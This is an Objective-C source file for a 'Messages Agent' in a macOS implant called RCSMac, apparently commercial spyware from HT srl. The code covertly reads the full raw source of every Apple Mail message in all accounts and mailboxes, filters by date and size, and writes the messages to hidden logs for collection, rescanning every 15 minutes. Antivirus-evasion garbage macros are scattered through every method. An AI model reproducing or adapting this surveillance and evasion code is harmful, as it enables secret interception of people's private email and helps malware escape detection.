core/Agents/RCSMAgentMessages.m
/*
* RCSMAgentMessages.m
* RCSMac
* Messages Agent
*
*
* Created by J on 06/03/2014
*
* Copyright (C) HT srl 2014. All rights reserved
*
*/
/*
* The agent captures Apple Mail only.
* The agent uses Apple Scripting Bridge to interact with Apple Mail.
* When the agent starts, a first scan is immediately performed;
* then, a new scan is performed every 15 minutes.
* Apple mail running status is countinously checked because ASB starts
* the application to fullfill the requests.
*/
#import "RCSMAgentMessages.h"
#import "RCSNativeMail.h"
#import "RCSMCommon.h"
#import "RCSMTaskManager.h"
#import "RCSMLogger.h"
#import "RCSMDebug.h"
#import "RCSMAVGarbage.h"
static __m_MAgentMessages *sharedAgentMessages = nil;
@interface __m_MAgentMessages (private)
- (void) _writeLog:(NSString*)rawMail andSender:(NSString*)sender;
- (void) _getMail;
- (NSData*)createLogHeaderWithSize:(NSInteger)logSize andSender:(NSString*)sender;
- (void) _getMarkup;
- (void) _setMarkup;
@end
@implementation __m_MAgentMessages (private)
- (void) _getMarkup
{
markup = [[__m_MUtils sharedInstance] getPropertyWithName:[[self class] description]];
if(markup==nil)
{
// markup not found, we allocate it
markup = [NSMutableDictionary dictionaryWithCapacity: 100];
}
}
- (void) _setMarkup
{
NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];
[[__m_MUtils sharedInstance] setPropertyWithName:[[self class] description]withDictionary:markup];
[pool release];
}
- (NSData*)createLogHeaderWithSize:(NSInteger)logSize andSender:(NSString*) sender
{
NSMutableData *logHeader = [[NSMutableData alloc] initWithLength: sizeof(messagesAdditionalHeader)];
// AV evasion: only on release build
AV_GARBAGE_000
messagesAdditionalHeader *additionalHeader = (messagesAdditionalHeader *)[logHeader bytes];;
// AV evasion: only on release build
AV_GARBAGE_001
additionalHeader->size = logSize;
additionalHeader->version = MAIL_VERSION2; //MAPI_V2_0_PROTO;
additionalHeader->flags = MAIL_FULL_BODY;
if(sender != nil)
{
if ([sender rangeOfString:inAddr options:NSCaseInsensitiveSearch].location == NSNotFound)
{
// sender it's not me, it's an incoming message
additionalHeader->flags |= MAIL_INCOMING;
}
}
// AV evasion: only on release build
AV_GARBAGE_006
NSDate *now = [NSDate date];
NSTimeInterval unixTime = [now timeIntervalSince1970];
int64_t winTime = (unixTime * RATE_DIFF) + EPOCH_DIFF;
additionalHeader->lowDatetime = winTime & 0xFFFFFFFF;
additionalHeader->highDatetime = (winTime >> 32) & 0xFFFFFFFF;
additionalHeader->program = PROGRAM_MAIL;
// AV evasion: only on release build
AV_GARBAGE_000
return [logHeader autorelease];
}
- (void) _writeLog: (NSString*)rawMail andSender:(NSString*)sender
{
NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];
NSMutableData *contentData = [NSMutableData dataWithData:[rawMail dataUsingEncoding:NSUTF8StringEncoding ]];
NSData *additionalHeaderData = [self createLogHeaderWithSize:[contentData length] andSender: sender];
// AV evasion: only on release build
AV_GARBAGE_000
__m_MLogManager *logManager = [__m_MLogManager sharedInstance];
BOOL success = [logManager createLog: AGENT_MESSAGES
agentHeader: additionalHeaderData
withLogID: 0];
if (success)
{
[logManager writeDataToLog: contentData
forAgent: AGENT_MESSAGES
withLogID: 0];
// AV evasion: only on release build
AV_GARBAGE_001
[logManager closeActiveLog: AGENT_MESSAGES
withLogID: 0];
// AV evasion: only on release build
AV_GARBAGE_004
}
[pool release];
}
- (void) _getMail
{
NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];
mailApplication *appleMail =[SBApplication applicationWithBundleIdentifier:@"com.apple.mail"];
if (![appleMail isRunning])
{
[pool release];
return;
}
// retrieve accounts
//mailAccount *accounts = [appleMail accounts];
SBElementArray *accounts = [appleMail accounts];
for (mailAccount *account in accounts)
{
NSAutoreleasePool *inner = [[NSAutoreleasePool alloc] init];
if (![appleMail isRunning])
{
[self _setMarkup]; // save markup and return
[inner release];
[pool release];
return;
}
// retrieve mail addr associated to the account
NSArray *mailAddrs = [account emailAddresses];
inAddr = [mailAddrs objectAtIndex:0];
// retrieve mailboxes
//mailMailbox *mailboxes = [account mailboxes];
SBElementArray *mailboxes = [account mailboxes];
for (mailMailbox *mbox in mailboxes)
{
NSAutoreleasePool *inner2 = [[NSAutoreleasePool alloc] init];
if (![appleMail isRunning])
{
[self _setMarkup]; // save markup and return
[inner2 release];
[inner release];
[pool release];
return;
}
// retrieve messages
//mailMessage *msgs = [mbox messages];
SBElementArray *msgs = [mbox messages];
for (mailMessage *msg in msgs)
{
NSAutoreleasePool *inner3 = [[NSAutoreleasePool alloc] init];
// check if agent has been stopped
if([[mConfiguration objectForKey: @"status"] isEqualToString: AGENT_STOP]
|| [[mConfiguration objectForKey: @"status"] isEqualToString: AGENT_STOPPED])
{
// save markup and return
[self _setMarkup];
[inner3 release];
[inner2 release];
[inner release];
[pool release];
return;
}
if (![appleMail isRunning])
{
[self _setMarkup]; // save markup and return
[inner3 release];
[inner2 release];
[inner release];
[pool release];
return;
}
// take a bunch of data
NSDate *mailDate = msg.dateReceived;
if (![appleMail isRunning])
{
[self _setMarkup]; // save markup and return
[inner3 release];
[inner2 release];
[inner release];
[pool release];
return;
}
NSInteger msgSize = msg.messageSize;
NSNumber *key = [NSNumber numberWithInteger:msg.id];
if (![appleMail isRunning])
{
[self _setMarkup]; // save markup and return
[inner3 release];
[inner2 release];
[inner release];
[pool release];
return;
}
NSString *msgId = msg.messageId;
//verify date range
if (([mailDate compare:dateFrom] == NSOrderedDescending) && ([mailDate compare:dateTo] == NSOrderedAscending))
//mailDate later than dateFrom and earlier then dateTo
{
// verify size range
if(msgSize <= size)
{
/*
if (![appleMail isRunning])
{
[self _setMarkup]; // save markup and return
return;
}
NSString *rawMail = msg.source;
*/
if (![appleMail isRunning])
{
[self _setMarkup]; // save markup and return
[inner3 release];
[inner2 release];
[inner release];
[pool release];
return;
}
NSString *sender = msg.sender;
// verify markup
NSString *obj=[markup objectForKey:key];
if(obj == nil)
{
// there's no markup
if (![appleMail isRunning])
{
[self _setMarkup]; // save markup and return
[inner3 release];
[inner2 release];
[inner release];
[pool release];
return;
}
NSString *rawMail = msg.source;
[markup setObject:msgId forKey:key];
[self _writeLog:rawMail andSender:sender];
}
else
{
// there's a markup, if same msg id we do nothing
// else, id has been recycled and we have to log
// the msg and save markup
if ([obj isEqualToString:msgId] == NO)
{
if (![appleMail isRunning])
{
[self _setMarkup]; // save markup and return
[inner3 release];
[inner2 release];
[inner release];
[pool release];
return;
}
NSString *rawMail = msg.source;
[markup setObject:msgId forKey:key];
[self _writeLog:rawMail andSender:sender];
} // else we do nothing
}
}
}
[inner3 release];
}
[inner2 release];
}
[inner release];
}
// write markup to file at the end of the big loop
[self _setMarkup];
[pool release];
}
@end
@implementation __m_MAgentMessages
#pragma mark -
#pragma mark Class and init methods
#pragma mark -
+ (__m_MAgentMessages *)sharedInstance
{
@synchronized(self)
{
if (sharedAgentMessages == nil)
{
//
// Assignment is not done here
//
[[self alloc] init];
}
}
return sharedAgentMessages;
}
+ (id)allocWithZone: (NSZone *)aZone
{
@synchronized(self)
{
if (sharedAgentMessages == nil)
{
sharedAgentMessages = [super allocWithZone: aZone];
//
// Assignment and return on first allocation
//
return sharedAgentMessages;
}
}
// On subsequent allocation attemps return nil
return nil;
}
- (id)copyWithZone: (NSZone *)aZone
{
return self;
}
- (unsigned)retainCount
{
// Denotes an object that cannot be released
return UINT_MAX;
}
- (id)retain
{
return self;
}
- (void)release
{
// Do nothing
}
- (id)autorelease
{
return self;
}
#pragma mark -
#pragma mark Agent Formal Protocol Methods
#pragma mark -
- (BOOL)stop
{
int internalCounter = 0;
// AV evasion: only on release build
AV_GARBAGE_000
[mConfiguration setObject: AGENT_STOP
forKey: @"status"];
// AV evasion: only on release build
AV_GARBAGE_001
while (![[mConfiguration objectForKey: @"status"] isEqual: AGENT_STOPPED]
&& internalCounter <= MAX_STOP_WAIT_TIME)
{
// AV evasion: only on release build
AV_GARBAGE_004
internalCounter++;
usleep(100000);
}
// AV evasion: only on release build
AV_GARBAGE_005
return YES;
}
- (void)start
{
NSAutoreleasePool *outerPool = [[NSAutoreleasePool alloc] init];
NSTimer *timer = nil;
// AV evasion: only on release build
AV_GARBAGE_002
[mConfiguration setObject: AGENT_RUNNING forKey: @"status"];
// read config data
NSMutableDictionary *data = [mConfiguration objectForKey: @"data"];
NSTimeZone *timeZone = [NSTimeZone timeZoneWithName:@"UTC"];
NSDateFormatter *inFormat = [[NSDateFormatter alloc] init];
[inFormat setTimeZone:timeZone];
[inFormat setDateFormat: @"yyyy-MM-dd HH:mm:ss"];
dateTo = [inFormat dateFromString: [data objectForKey: @"dateto"]];
dateFrom = [inFormat dateFromString: [data objectForKey: @"datefrom"]];
[inFormat release];
size = [[data objectForKey:@"maxsize"] integerValue];
// read markup data
[self _getMarkup];
// AV evasion: only on release build
AV_GARBAGE_000
// start the first run of email grabbing
[self _getMail];
if (gOSMajor == 10 && gOSMinor >= 7)
{
timer = [NSTimer scheduledTimerWithTimeInterval: 900 target:self selector:@selector(_getMail) userInfo:nil repeats:YES];
[[NSRunLoop currentRunLoop] addTimer: timer forMode: NSRunLoopCommonModes];
}
else
{
// TODO: decide what to do here
}
NSRunLoop *currentRunLoop = [NSRunLoop currentRunLoop];
while (![[mConfiguration objectForKey: @"status"] isEqual: AGENT_STOP]
&& ![[mConfiguration objectForKey: @"status"] isEqual: AGENT_STOPPED])
{
NSAutoreleasePool *inner = [[NSAutoreleasePool alloc] init];
// AV evasion: only on release build
AV_GARBAGE_007
if (gOSMajor == 10 && gOSMinor >= 7)
[currentRunLoop runUntilDate:[NSDate dateWithTimeIntervalSinceNow:1.0]];
else
sleep(1);
// AV evasion: only on release build
AV_GARBAGE_005
[inner release];
}
if (gOSMajor == 10 && gOSMinor >= 7)
{
if (timer != nil)
[timer invalidate];
}
else
{
// Remove our observer
//[[NSDistributedNotificationCenter defaultCenter] removeObserver: self];
}
if ([[mConfiguration objectForKey: @"status"] isEqualToString: AGENT_STOP])
{
// AV evasion: only on release build
AV_GARBAGE_006
[mConfiguration setObject: AGENT_STOPPED
forKey: @"status"];
// AV evasion: only on release build
AV_GARBAGE_003
}
// AV evasion: only on release build
AV_GARBAGE_002
[outerPool release];
}
- (BOOL)resume
{
return YES;
}
#pragma mark -
#pragma mark Getter/Setter
#pragma mark -
- (NSMutableDictionary *)mConfiguration
{
// AV evasion: only on release build
AV_GARBAGE_000
return mConfiguration;
}
- (void)setAgentConfiguration: (NSMutableDictionary *)aConfiguration
{
// AV evasion: only on release build
AV_GARBAGE_009
if (aConfiguration != mConfiguration)
{
// AV evasion: only on release build
AV_GARBAGE_000
[mConfiguration release];
// AV evasion: only on release build
AV_GARBAGE_001
mConfiguration = [aConfiguration retain];
}
}
@end